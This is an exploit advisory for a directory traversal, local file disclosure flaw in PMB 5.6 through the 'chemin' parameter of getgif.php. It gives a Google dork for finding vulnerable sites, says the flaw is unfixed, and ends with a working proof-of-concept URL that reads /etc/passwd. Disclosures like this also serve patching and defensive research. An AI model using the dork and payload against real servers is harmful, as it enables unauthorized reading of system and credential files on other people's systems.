PMB 5.6 Local File Disclosure / Directory Traversal

`# Exploit Title: PMB 5.6 - 'chemin' Local File Disclosure  
# Date: 2020-10-13  
# Google Dork: inurl:opac_css  
# Exploit Author: 41-trk (Tarik Bakir)  
# Vendor Homepage: http://www.sigb.net  
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files  
# Affected versions : <= 5.6   
# Tested on: Ubuntu 18.04.1  
  
The PMB Gif Image is not sanitizing the 'chemin',  
which leads to Local File Disclosure.  
  
As of today (2020-10-13) this issue is unfixed.  
  
Vulnerable code: (getgif.php )  
  
line 55 $fp2=@fopen($chemin, "rb");  
line 68 fpassthru($fp)  
  
  
========================= Proof-of-Concept ===================================================  
  
http://127.0.0.1:2121/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik  
`